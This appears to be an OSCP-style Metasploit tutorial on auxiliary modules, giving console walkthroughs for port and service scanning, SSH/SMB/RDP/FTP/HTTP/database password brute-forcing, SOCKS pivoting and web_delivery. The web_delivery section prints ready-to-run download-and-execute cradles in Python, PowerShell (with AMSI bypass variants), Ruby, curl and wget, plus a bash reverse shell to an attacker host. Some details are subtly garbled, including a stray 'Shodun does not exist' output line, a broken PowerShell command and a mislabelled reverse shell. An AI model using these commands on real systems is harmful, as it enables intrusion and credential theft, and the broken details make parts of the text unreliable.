Auxiliary Modules
1. Auxiliary Modules Overview
What Are Auxiliary Modules?
Auxiliary modules are a fundamental category within the Metasploit Framework that serve purposes beyond direct exploitation. Unlike exploit modules, auxiliary modules:
- Do NOT require a payload — they perform their function independently
- Are used for scanning, enumeration, brute-forcing, social engineering, and supporting tasks
- Can be used to gather intelligence before launching an exploit
- Often serve as force multipliers in a penetration test engagement
How Auxiliary Modules Differ from Exploits
| Feature | Exploit Modules | Auxiliary Modules |
|---|---|---|
| Payload required | Yes — always need a payload | No — self-contained |
| Primary purpose | Gain access / code execution | Scan, brute-force, serve, fuzz |
set PAYLOAD |
Required step | Not applicable |
| Example | exploit/windows/smb/ms17_010_eternalblue |
auxiliary/scanner/portscan/tcp |
| Session creation | Creates meterpreter/shell sessions | Does NOT create sessions (except web_delivery) |
When to Use Auxiliary Modules
- Pre-exploitation reconnaissance — Scan ports, enumerate services, identify versions
- Credential attacks — Brute-force SSH, SMB, RDP, FTP, HTTP, database logins
- Pivot and proxy — Set up SOCKS proxies for lateral movement
- Payload delivery —
web_deliveryfor getting shells on targets with Python, PowerShell, or curl - Verification — Confirm services are running before attempting exploits
Navigating Auxiliary Modules
msf6 > search type:auxiliary
msf6 > search auxiliary scanner
msf6 > search auxiliary scanner portscan
msf6 > search auxiliary scanner ssh
msf6 > search auxiliary scanner smb
msf6 > search auxiliary server
msf6 > search auxiliary scanner brute
2. Scanner Modules
Scanner modules are the most commonly used auxiliary modules. They probe target systems to discover open ports, running services, version information, and potential attack surfaces.
2.1 TCP Port Scanner
Module: auxiliary/scanner/portscan/tcp
The TCP port scanner performs a full TCP three-way handshake to determine if ports are open. It is reliable and works well for OSCP labs where stealth is not a primary concern.
Full Walkthrough
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > show options
Module options (auxiliary/scanner/portscan/tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 1 yes The number of concurrent ports to try per host
DELAY 0 yes The delay between connections, per thread, in milliseconds
JITTER 0 yes The delay jitter factor (maximum random delay each time)
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS yes The target host(s), range or CIDR identifier
THREADS 1 yes The number of concurrent threads
TIMEOUT 1000 yes The connect timeout in milliseconds
Basic Single-Host Scan
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 10.10.10.100
RHOSTS => 10.10.10.100
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 1-65535
PORTS => 1-65535
msf6 auxiliary(scanner/portscan/tcp) > set THREADS 50
THREADS => 50
msf6 auxiliary(scanner/portscan/tcp) > run
Scanning a Range of Hosts
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 10.10.10.1-254
RHOSTS => 10.10.10.1-254
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 21,22,80,443,445,3389,8080,8443
PORTS => 21,22,80,443,445,3389,8080,8443
msf6 auxiliary(scanner/portscan/tcp) > set THREADS 100
THREADS => 100
msf6 auxiliary(scanner/portscan/tcp) > run
Scanning from a Target File
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS /home/user/targets.txt
RHOSTS => /home/user/targets.txt
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 22,80,443,445,3306,5432,5900,8080
PORTS => 22,80,443,445,3306,5432,5900,8080
msf6 auxiliary(scanner/portscan/tcp) > run
Key Parameters Explained
| Parameter | Description | Recommended Value |
|---|---|---|
PORTS |
Ports to scan (single, range, or comma-separated) | 1-65535 for full, common ports for quick scan |
RHOSTS |
Target IP(s), range, CIDR, or file | As needed |
THREADS |
Concurrent scanning threads | 50-100 for labs |
TIMEOUT |
Connection timeout in milliseconds | 1000 (default) |
CONCURRENCY |
Ports per host per thread | 1 (default) |
DELAY |
Delay between connections in ms | 0 for labs |
Sample Output
[+] 10.10.10.100:22 - OPEN
[+] 10.10.10.100:80 - OPEN
[+] 10.10.10.100:443 - OPEN
[+] 10.10.10.100:445 - OPEN
[+] 10.10.10.100:3389 - OPEN
[*] 10.10.10.100: - Shodun does not exist.
[*] Scan completed:
OSCP Tip: Always scan common ports first (21, 22, 80, 443, 445, 3306, 3389, 5432, 5900, 8080, 8443) before doing a full 1-65535 scan. This saves time during the exam.
2.2 SMB Version Scanner
Module: auxiliary/scanner/smb/smb_version
Identifies the SMB version and OS information of target machines. Critical for determining which SMB exploits may apply.
Full Walkthrough
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > show options
Module options (auxiliary/scanner/smb/smb_version):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s)
SMB_DOMAIN . no The Windows domain to use for authentication
SMB_PASS no The password for the specified username
SMB_USER no The username to authenticate as
THREADS 1 yes The number of concurrent threads
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 10.10.10.100
RHOSTS => 10.10.10.100
msf6 auxiliary(scanner/smb/smb_version) > set THREADS 10
THREADS => 10
msf6 auxiliary(scanner/smb/smb_version) > run
Sample Output
[+] 10.10.10.100:445 - 10.10.10.100:445 String: Windows 7 Ultimate 7601 Service Pack 1
[+] 10.10.10.100:445 - 10.10.10.100:445 Name: (auto meta)
[+] 10.10.10.100:445 - 10.10.10.100:445 Workgroup: HOME
[+] 10.10.10.100:445 - 10.10.10.100:445 NetBIOS: WIN-ABC123DEF
OSCP Tip: The SMB version output directly tells you the OS version. “Windows 7 Ultimate 7601 Service Pack 1” means you should look for Windows 7 SP1 exploits. “Windows Server 2008 R2” means look for 2008 R2 specific exploits.
2.3 HTTP Title Scanner
Module: auxiliary/scanner/http/title
Retrieves the title of web pages across multiple targets. Useful for quick web application identification.
Full Walkthrough
msf6 > use auxiliary/scanner/http/title
msf6 auxiliary(scanner/http/title) > show options
Module options (auxiliary/scanner/http/title):
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP_METHOD GET yes The HTTP method
RHOSTS yes The target host(s)
RPORT 80 yes The target port
THREADS 1 yes The number of concurrent threads
URI / yes The URI
VERBOSE false no Enable detailed status messages
msf6 auxiliary(scanner/http/title) > set RHOSTS 10.10.10.100
RHOSTS => 10.10.10.100
msf6 auxiliary(scanner/http/title) > set RPORT 80
RPORT => 80
msf6 auxiliary(scanner/http/title) > set THREADS 20
THREADS => 20
msf6 auxiliary(scanner/http/title) > run
Scanning Multiple Ports
msf6 auxiliary(scanner/http/title) > set RHOSTS 10.10.10.0/24
RHOSTS => 10.10.10.0/24
msf6 auxiliary(scanner/http/title) > set RPORT 80,443,8080,8443,8000,8888
RPORT => 80,443,8080,8443,8000,8888
msf6 auxiliary(scanner/http/title) > run
Sample Output
[+] 10.10.10.100:80 - Title: Welcome to WordPress
[+] 10.10.10.100:8080 - Title: Apache Tomcat/8.5.37
[+] 10.10.10.100:443 - Title: Login - phpMyAdmin
2.4 SSH Version Scanner
Module: auxiliary/scanner/ssh/ssh_version
Enumerates SSH service versions to identify potential vulnerabilities.
Full Walkthrough
msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 auxiliary(scanner/ssh/ssh_version) > set RHOSTS 10.10.10.0/24
RHOSTS => 10.10.10.0/24
msf6 auxiliary(scanner/ssh/ssh_version) > set THREADS 20
THREADS => 20
msf6 auxiliary(scanner/ssh/ssh_version) > run
Sample Output
[+] 10.10.10.100:22 - SSH-2.0-OpenSSH_7.4
[+] 10.10.10.101:22 - SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.10
[+] 10.10.10.105:22 - SSH-2.0-libssh_0.7.1
OSCP Tip: Note the SSH version. OpenSSH 7.4 and below on certain distros may have known issues.
libssh_0.7.1is vulnerable to CVE-2018-10933 (authentication bypass).
2.5 SNMP Scanner
Module: auxiliary/scanner/snmp/snmp_login
Attempts to discover valid SNMP community strings. SNMP can reveal network topology, running services, and system information.
Walkthrough
msf6 > use auxiliary/scanner/snmp/snmp_login
msf6 auxiliary(scanner/snmp/snmp_login) > show options
Module options (auxiliary/scanner/snmp/snmp_login):
Name Current Setting Required Description
---- --------------- -------- -----------
CHCOMM no Community list file
RHOSTS yes The target host(s)
THREADS 1 yes The number of concurrent threads
msf6 auxiliary(scanner/snmp/snmp_login) > set RHOSTS 10.10.10.100
RHOSTS => 10.10.10.100
msf6 auxiliary(scanner/snmp/snmp_login) > set CHCOMM /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt
CHCOMM => /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt
msf6 auxiliary(scanner/snmp/snmp_login) > run
Common SNMP Community Strings to Try
| Community String | Access Level |
|---|---|
public |
Read-only (default) |
private |
Read-write |
community |
Common alternative |
manager |
Management access |
monitor |
Monitoring access |
test |
Test environment |
2.6 Other Useful Scanners for OSCP
| Module | Purpose | OSCP Relevance |
|---|---|---|
auxiliary/scanner/mysql/mysql_version |
MySQL version enumeration | High — identify MySQL exploits |
auxiliary/scanner/ftp/ftp_version |
FTP version detection | Medium — identify FTP exploits |
auxiliary/scanner/http/robots_txt |
Find robots.txt entries | Medium — discover hidden paths |
auxiliary/scanner/http/generic_acl |
Test HTTP access controls | Low |
auxiliary/scanner/smb/smb_enumshares |
Enumerate SMB shares | High — find accessible shares |
auxiliary/scanner/smb/smb_enumusers |
Enumerate SMB users | High — find valid usernames |
auxiliary/scanner/vnc/vnc_none_auth |
VNC no-auth detection | High — easy access if found |
auxiliary/scanner/telnet/telnet_version |
Telnet version detection | Medium |
auxiliary/scanner/dcerpc/pipe_auditor |
Named pipe enumeration | Medium — lateral movement intel |
3. Brute Forcer Modules
Brute force modules attempt to gain access by trying combinations of usernames and passwords. They are essential when services are exposed and weak credentials are suspected.
3.1 SSH Login Brute Force
Module: auxiliary/scanner/ssh/ssh_login
The most commonly used brute force module in OSCP labs.
Full Walkthrough with User/Pass Files
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > show options
Module options (auxiliary/scanner/ssh/ssh_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to attack (0-5)
DB_ALL_CREDS false no Try each user/password pair stored in the specified database
DB_ALL_PASS false no Add all passwords in the database to the list
DB_ALL_USERS false no Add all users in the database to the list
PASSWORD no A specific password to authenticate with
PASS_FILE no File containing passwords, one per line
RHOSTS yes The target host(s)
RPORT 22 yes The target port
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads
USERNAME no A specific username to authenticate as
USERASPASS false no Whether to try user as user/password pair
USER_FILE no File containing usernames, one per line
USER_PASS no Username:Password pair
USER_STOP false yes Stop trying when found a valid cred for a user
VERBOSE false yes Whether to print output for all attempts
Step-by-Step Setup
# Set target
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 10.10.10.100
RHOSTS => 10.10.10.100
# Set username list
msf6 auxiliary(scanner/ssh/ssh_login) > set USER_FILE /home/user/usernames.txt
USER_FILE => /home/user/usernames.txt
# Set password list
msf6 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /home/user/passwords.txt
PASS_FILE => /home/user/passwords.txt
# Stop after finding first valid credential per host
msf6 auxiliary(scanner/ssh/ssh_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
# Stop after finding valid credential per user
msf6 auxiliary(scanner/ssh/ssh_login) > set USER_STOP true
USER_STOP => true
# Set thread count (balance speed vs detection)
msf6 auxiliary(scanner/ssh/ssh_login) > set THREADS 10
THREADS => 10
# Set brute force speed (0=slowest, 5=fastest)
msf6 auxiliary(scanner/ssh/ssh_login) > set BRUTEFORCE_SPEED 3
BRUTEFORCE_SPEED => 3
# Run
msf6 auxiliary(scanner/ssh/ssh_login) > run
Sample Output
[-] 10.10.10.100:22 - Failed: 'admin:password123'
[-] 10.10.10.100:22 - Failed: 'admin:admin123'
[-] 10.10.10.100:22 - Failed: 'admin:letmein'
[+] 10.10.10.100:22 - Success: 'admin:Welcome1!' 'uid=1000(admin) gid=1000(admin) groups=1000(admin),27(sudo)
[*] 10.10.10.100:22 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Creating Wordlists
# Common usernames file
echo -e "root\nadmin\nuser\nubuntu\ntest\nguest\noracle\npostgres\nmysql\nftpuser\nwww-data\nbackup" > usernames.txt
# Common passwords file
echo -e "password\n123456\nadmin\npassword123\nletmein\nwelcome\nqwerty\nabc123\nmonkey\ndragon\nmaster\nlogin\nprincess\nfootball\nshadow\nsunshine\ntrustno1\niloveyou\nbatman\naccess\nhello\ncharlie\ndonald\npassword1\nWelcome1\nP@ssw0rd\nHuawei@123" > passwords.txt
# Or use rockyou (extracted)
zcat /usr/share/wordlists/rockyou.txt.gz > rockyou.txt
3.2 SMB Login Brute Force
Module: auxiliary/scanner/smb/smb_login
Brute forces SMB/CIFS authentication. Useful for Windows targets.
Full Walkthrough
msf6 > use auxiliary/scanner/smb/smb_login
msf6 auxiliary(scanner/smb/smb_login) > set RHOSTS 10.10.10.100
RHOSTS => 10.10.10.100
msf6 auxiliary(scanner/smb/smb_login) > set USER_FILE /home/user/usernames.txt
USER_FILE => /home/user/usernames.txt
msf6 auxiliary(scanner/smb/smb_login) > set PASS_FILE /home/user/passwords.txt
PASS_FILE => /home/user/passwords.txt
msf6 auxiliary(scanner/smb/smb_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf6 auxiliary(scanner/smb/smb_login) > set THREADS 10
THREADS => 10
msf6 auxiliary(scanner/smb/smb_login) > run
With Domain Authentication
msf6 auxiliary(scanner/smb/smb_login) > set SMB_DOMAIN WORKGROUP
SMB_DOMAIN => WORKGROUP
msf6 auxiliary(scanner/smb/smb_login) > run
Sample Output
[-] 10.10.10.100:445 - Failed: 'WORKGROUP\Administrator:password'
[-] 10.10.10.100:445 - Failed: 'WORKGROUP\Administrator:password123'
[+] 10.10.10.100:445 - Success: 'WORKGROUP\Administrator:Welcome1!'
3.3 RDP Login Brute Force
Module: auxiliary/scanner/rdp/rdp_login
Brute forces Remote Desktop Protocol authentication.
Full Walkthrough
msf6 > use auxiliary/scanner/rdp/rdp_login
msf6 auxiliary(scanner/rdp/rdp_login) > set RHOSTS 10.10.10.100
RHOSTS => 10.10.10.100
msf6 auxiliary(scanner/rdp/rdp_login) > set RPORT 3389
RPORT => 3389
msf6 auxiliary(scanner/rdp/rdp_login) > set USER_FILE /home/user/usernames.txt
USER_FILE => /home/user/usernames.txt
msf6 auxiliary(scanner/rdp/rdp_login) > set PASS_FILE /home/user/passwords.txt
PASS_FILE => /home/user/passwords.txt
msf6 auxiliary(scanner/rdp/rdp_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf6 auxiliary(scanner/rdp/rdp_login) > set THREADS 5
THREADS => 5
msf6 auxiliary(scanner/rdp/rdp_login) > run
OSCP Tip: RDP brute forcing is slower than SSH. Use fewer threads (3-5) to avoid timeouts.
3.4 FTP Login Brute Force
Module: auxiliary/scanner/ftp/ftp_login
Brute forces FTP authentication.
Full Walkthrough
msf6 > use auxiliary/scanner/ftp/ftp_login
msf6 auxiliary(scanner/ftp/ftp_login) > set RHOSTS 10.10.10.100
RHOSTS => 10.10.10.100
msf6 auxiliary(scanner/ftp/ftp_login) > set USER_FILE /home/user/usernames.txt
USER_FILE => /home/user/usernames.txt
msf6 auxiliary(scanner/ftp/ftp_login) > set PASS_FILE /home/user/passwords.txt
PASS_FILE => /home/user/passwords.txt
msf6 auxiliary(scanner/ftp/ftp_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf6 auxiliary(scanner/ftp/ftp_login) > set THREADS 10
THREADS => 10
msf6 auxiliary(scanner/ftp/ftp_login) > run
Also Check for Anonymous Access
msf6 auxiliary(scanner/ftp/ftp_login) > set BLANK_PASSWORDS true
BLANK_PASSWORDS => true
msf6 auxiliary(scanner/ftp/ftp_login) > set USER_FILE /usr/share/seclists/Usernames/cirt-default-users.txt
USER_FILE => /usr/share/seclists/Usernames/cirt-default-users.txt
msf6 auxiliary(scanner/ftp/ftp_login) > run
3.5 HTTP Basic Auth Brute Force
Module: auxiliary/scanner/http/http_login
Brute forces HTTP Basic Authentication and form-based logins.
Full Walkthrough
msf6 > use auxiliary/scanner/http/http_login
msf6 auxiliary(scanner/http/http_login) > set RHOSTS 10.10.10.100
RHOSTS => 10.10.10.100
msf6 auxiliary(scanner/http/http_login) > set RPORT 80
RPORT => 80
msf6 auxiliary(scanner/http/http_login) > set HTTP_METHOD GET
HTTP_METHOD => GET
msf6 auxiliary(scanner/http/http_login) > set PATH /admin/
PATH => /admin/
msf6 auxiliary(scanner/http/http_login) > set USER_FILE /home/user/usernames.txt
USER_FILE => /home/user/usernames.txt
msf6 auxiliary(scanner/http/http_login) > set PASS_FILE /home/user/passwords.txt
PASS_FILE => /home/user/passwords.txt
msf6 auxiliary(scanner/http/http_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf6 auxiliary(scanner/http/http_login) > set THREADS 10
THREADS => 10
msf6 auxiliary(scanner/http/http_login) > run
Form-Based Login
# For form-based authentication, set the URI and check the response
msf6 auxiliary(scanner/http/http_login) > set URI /login.php
URI => /login.php
msf6 auxiliary(scanner/http/http_login) > set HTTP_METHOD POST
HTTP_METHOD => POST
msf6 auxiliary(scanner/http/http_login) > run
3.6 Database Brute Force
MySQL Brute Force
msf6 > use auxiliary/scanner/mysql/mysql_login
msf6 auxiliary(scanner/mysql/mysql_login) > set RHOSTS 10.10.10.100
RHOSTS => 10.10.10.100
msf6 auxiliary(scanner/mysql/mysql_login) > set USER_FILE /home/user/mysql_users.txt
USER_FILE => /home/user/mysql_users.txt
msf6 auxiliary(scanner/mysql/mysql_login) > set PASS_FILE /home/user/passwords.txt
PASS_FILE => /home/user/passwords.txt
msf6 auxiliary(scanner/mysql/mysql_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf6 auxiliary(scanner/mysql/mysql_login) > run
Common MySQL Users
echo -e "root\nadmin\nmysql\ntest\nguest\nuser\nwebadmin\nadministrator" > mysql_users.txt
PostgreSQL Brute Force
msf6 > use auxiliary/scanner/postgres/postgres_login
msf6 auxiliary(scanner/postgres/postgres_login) > set RHOSTS 10.10.10.100
RHOSTS => 10.10.10.100
msf6 auxiliary(scanner/postgres/postgres_login) > set USER_FILE /home/user/pg_users.txt
USER_FILE => /home/user/pg_users.txt
msf6 auxiliary(scanner/postgres/postgres_login) > set PASS_FILE /home/user/passwords.txt
PASS_FILE => /home/user/passwords.txt
msf6 auxiliary(scanner/postgres/postgres_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf6 auxiliary(scanner/postgres/postgres_login) > run
Common PostgreSQL Users
echo -e "postgres\nadmin\nroot\nuser\ntest\nguest" > pg_users.txt
MSSQL Brute Force
msf6 > use auxiliary/scanner/mssql/mssql_login
msf6 auxiliary(scanner/mssql/mssql_login) > set RHOSTS 10.10.10.100
RHOSTS => 10.10.10.100
msf6 auxiliary(scanner/mssql/mssql_login) > set USER_FILE /home/user/mssql_users.txt
USER_FILE => /home/user/mssql_users.txt
msf6 auxiliary(scanner/mssql/mssql_login) > set PASS_FILE /home/user/passwords.txt
PASS_FILE => /home/user/passwords.txt
msf6 auxiliary(scanner/mssql/mssql_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf6 auxiliary(scanner/mssql/mssql_login) > run
Common MSSQL Users
echo -e "sa\nadmin\nadministrator\nroot\nuser\ntest\nguest\ndbadmin" > mssql_users.txt
3.7 Best Practices for Brute Forcing in OSCP
Thread Count Guidelines
| Service | Recommended Threads | Reason |
|---|---|---|
| SSH | 10-20 | Fast protocol, handles concurrency well |
| SMB | 5-10 | Slower, more connection overhead |
| RDP | 3-5 | Very slow, prone to timeouts |
| FTP | 10-15 | Fast, lightweight protocol |
| HTTP | 10-20 | Depends on server response time |
| MySQL | 10-15 | Moderate speed |
| PostgreSQL | 10-15 | Moderate speed |
| MSSQL | 5-10 | Can be slow, connection heavy |
Wordlist Selection Strategy
- Start small — Use a targeted wordlist first (top 100-500 passwords)
- Scale up — If no success, expand to larger wordlists
- Use context clues — If the target is a WordPress site, include WordPress-specific passwords
- Combine approaches — Try common passwords + username-as-password + blank passwords
Recommended Wordlists
| Wordlist | Location | Use Case |
|---|---|---|
rockyou.txt |
/usr/share/wordlists/rockyou.txt |
General passwords (extract first: zcat) |
common-passwords.txt |
/usr/share/seclists/Passwords/Common-Credentials/ |
Quick attempts |
default-logins.txt |
/usr/share/nmap/nsedb/scripts/ |
Default credentials |
| Custom wordlist | Your own file | Targeted attacks |
BRUTEFORCE_SPEED Settings
| Speed | Description | Use When |
|---|---|---|
| 0 | Very slow (1s between attempts) | Production-like stealth |
| 1 | Slow (0.5s between attempts) | Sensitive environments |
| 2 | Normal (0.25s between attempts) | Default |
| 3 | Aggressive (0.1s between attempts) | OSCP labs |
| 4 | Faster (0.05s between attempts) | OSCP labs, time pressure |
| 5 | Insane (no delay) | Quick scans, risk of lockout |
OSCP Tip: In the exam, use
BRUTEFORCE_SPEED 3or4for efficiency. The lab environments do not have account lockout policies in most cases.
4. Server Modules
Server modules run on your attacker machine and provide services to targets or to yourself.
4.1 SOCKS Proxy
Module: auxiliary/server/socks_proxy
Creates a SOCKS proxy that routes traffic through Metasploit. Combined with proxychains, this enables pivoting through compromised hosts to reach internal networks.
Complete Setup
Step 1: Start the SOCKS Proxy in Metasploit
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > show options
Module options (auxiliary/server/socks_proxy):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The address to listen on
SRVPORT 1080 yes The port to listen on
msf6 auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1
SRVHOST => 127.0.0.1
msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080
SRVPORT => 1080
msf6 auxiliary(server/socks_proxy) > run
Step 2: Configure Route Through Meterpreter Session
After obtaining a meterpreter session on a compromised host:
# From meterpreter prompt
meterpreter > run get_local_subnets
[*] Interface 10.10.14.30/255.255.255.0
[*] Interface 10.20.10.5/255.255.255.0
meterpreter > run autoroute -s 10.20.10.0/24
[*] Route added: 10.20.10.0/255.255.255.0
meterpreter > run autoroute -p
[*] Session Limit: '1'
[*] Active Routing
== == == ==
Session Network Netmask Gateway Metrics
------- ------- ------- ------- -------
1 10.20.10.0 255.255.255.0
Step 3: Configure proxychains.conf
# Edit proxychains configuration
nano /etc/proxychains4.conf
# At the bottom of the file, add or modify:
[ProxyList]
socks5 127.0.0.1 1080
Step 4: Use proxychains to Access Internal Network
# Scan internal network through the proxy
proxychains4 nmap -sT -p 22,80,443,445,3389 10.20.10.0/24
# SSH to internal host through the proxy
proxychains4 ssh user@10.20.10.10
# Access internal web application
proxychains4 curl http://10.20.10.10:8080
# Use Metasploit through the proxy
proxychains4 msfconsole
Full proxychains.conf Example
# proxychains.conf - SAMPLE CONFIGURATION
# The chain format is:
# proxychains <proxy_type> <proxy_dns> <proxy_port>
[ProxyList]
# Proxy types: http, socks4, socks5
# Raw config (caught by regulator) might look like this:
# socks5 188.88.88.88 1080
# socks4 187.187.187.187 1080
# http 178.178.178.178 3128
socks5 127.0.0.1 1080
OSCP Tip: The SOCKS proxy + proxychains combination is one of the most important pivoting techniques. Always add the internal subnet route via
autoroutebefore using the proxy.
4.2 Web Delivery (THE Most Important Module for OSCP)
Module: exploit/multi/script/web_delivery
Note: Despite being in the
exploitnamespace,web_deliveryis arguably the most important auxiliary-style module for OSCP. It hosts a web server that delivers payloads to targets via various interpreters.
Why web_delivery is Critical for OSCP
- Universal — Works on Windows, Linux, macOS
- Multiple target interpreters — PowerShell, Python, Bash, Ruby, Curl, wget
- Bypasses restrictions — When you can’t upload files but can run commands
- Fast and reliable — One of the most dependable shell delivery methods
- Works through firewalls — Only needs HTTP/HTTPS outbound access
Full Walkthrough
Basic Setup
msf6 > use exploit/multi/script/web_delivery
msf6 exploit(multi/script/web_delivery) > show options
Module options (exploit/multi/script/web_delivery):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host to listen on
SRVPORT 8080 yes The local port to listen on
SSL false no Negotiate SSL for incoming connections
URI / yes Path to the web server
TARGET 0 yes Target to exploit
Target Options
msf6 exploit(multi/script/web_delivery) > show targets
Exploit targets:
Id Name
-- ----
0 Python (Universal)
1 PowerShell (Universal)
2 PowerShell (Windows / Non-AMSIBypass)
3 PowerShell (Windows / AMSIBypass / DownloadString)
4 PowerShell (Windows / AMSIBypass / CompressedInput)
5 PowerShell (Windows / AMSIBypass / Undetected)
6 Bash (Universal)
7 Curl (Universal)
8 Wget (Linux / Darwin)
9 Net (Windows / .NET)
10 Ruby (Universal)
Target 0: Python (Universal)
Command to run on target:
# On the target machine, run:
python -c "import sys;import urllib2;exec(urllib2.urlopen('http://10.10.14.3:8080/f').read());"
# Python 3 variant:
python3 -c "import sys;import urllib.request;exec(urllib.request.urlopen('http://10.10.14.3:8080/f').read());"
Attacker setup:
msf6 exploit(multi/script/web_delivery) > set TARGET 0
TARGET => 0
msf6 exploit(multi/script/web_delivery) > set PAYLOAD python/meterpreter/reverse_tcp
PAYLOAD => python/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set LHOST 10.10.14.3
LHOST => 10.10.14.3
msf6 exploit(multi/script/web_delivery) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/script/web_delivery) > set SRVPORT 8080
SRVPORT => 8080
msf6 exploit(multi/script/web_delivery) > exploit
Target 1: PowerShell (Universal) — MOST COMMON
Command to run on target:
# On the target Windows machine, run:
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$u='http://10.10.14.3:8080/f';if(new-object net.webclient){(new-object net.webclient).downloadstring(\$u)}else{\$r=New-Object System.Net.WebRequest;[\$r::ServicePointManager]::SecurityProtocol=[\$r::ServicePointManager]::SecurityProtocol-bor 48;\$r.url=\$u;\$r.GetResponse().GetResponseStream()};\$s=New-Object IO.StreamReader(\%7B\$r.GetResponseStream()\%7D.Invoke());\$s.ReadToEnd();\$s.Close()";
# Simplified version (often works):
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/f')
Attacker setup:
msf6 exploit(multi/script/web_delivery) > set TARGET 1
TARGET => 1
msf6 exploit(multi/script/web_delivery) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set LHOST 10.10.14.3
LHOST => 10.10.14.3
msf6 exploit(multi/script/web_delivery) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/script/web_delivery) > exploit
Target 2-5: PowerShell Variants (AMSIBypass)
These targets include AMSI (Antimalware Scan Interface) bypass techniques for environments with Windows Defender or other EDR solutions.
# Target 3 — AMSIBypass / DownloadString (recommended for modern Windows)
msf6 exploit(multi/script/web_delivery) > set TARGET 3
TARGET => 3
msf6 exploit(multi/script/web_delivery) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set LHOST 10.10.14.3
LHOST => 10.10.14.3
msf6 exploit(multi/script/web_delivery) > exploit
Target 6: Bash (Universal)
Command to run on target:
# On the target Linux machine, run:
bash -i >& /dev/tcp/10.10.14.3/8080 0>&1
# Or the curl variant shown by web_delivery:
curl -ks 'http://10.10.14.3:8080/f' | bash
# Or wget variant:
wget --no-check-certificate -qO- 'http://10.10.14.3:8080/f' | bash
Attacker setup:
msf6 exploit(multi/script/web_delivery) > set TARGET 6
TARGET => 6
msf6 exploit(multi/script/web_delivery) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
PAYLOAD => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set LHOST 10.10.14.3
LHOST => 10.10.14.3
msf6 exploit(multi/script/web_delivery) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/script/web_delivery) > exploit
Target 7: Curl (Universal)
Command to run on target:
curl -ks 'http://10.10.14.3:8080/f' | bash
Target 8: Wget (Linux / Darwin)
Command to run on target:
wget --no-check-certificate -qO- 'http://10.10.14.3:8080/f' | bash
Target 10: Ruby (Universal)
Command to run on target:
ruby -e "require 'open-uri';eval(open('http://10.10.14.3:8080/f').read)"
Complete web_delivery Cheat Sheet
| Target | Interpreter | Payload Type | Command on Target |
|---|---|---|---|
| 0 | Python | python/meterpreter/reverse_tcp |
python -c "import sys;import urllib2;exec(urllib2.urlopen('http://ATTACKER:PORT/f').read());" |
| 1 | PowerShell | windows/x64/meterpreter/reverse_tcp |
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "..." |
| 3 | PowerShell (AMSI Bypass) | windows/x64/meterpreter/reverse_tcp |
(Longer command with AMSI bypass) |
| 6 | Bash | linux/x64/meterpreter/reverse_tcp |
curl -ks 'http://ATTACKER:PORT/f' | bash |
| 7 | Curl | linux/x64/meterpreter/reverse_tcp |
curl -ks 'http://ATTACKER:PORT/f' | bash |
| 8 | Wget | linux/x64/meterpreter/reverse_tcp |
wget --no-check-certificate -qO- 'http://ATTACKER:PORT/f' | bash |
| 10 | Ruby | ruby/meterpreter/reverse_tcp |
ruby -e "require 'open-uri';eval(open('http://ATTACKER:PORT/f').read)" |
SSL/TLS Encrypted Delivery
# Use HTTPS instead of HTTP
msf6 exploit(multi/script/web_delivery) > set SSL true
SSL => true
msf6 exploit(multi/script/web_delivery) > set SRVPORT 8443
SRVPORT => 8443
msf6 exploit(multi/script/web_delivery) > exploit
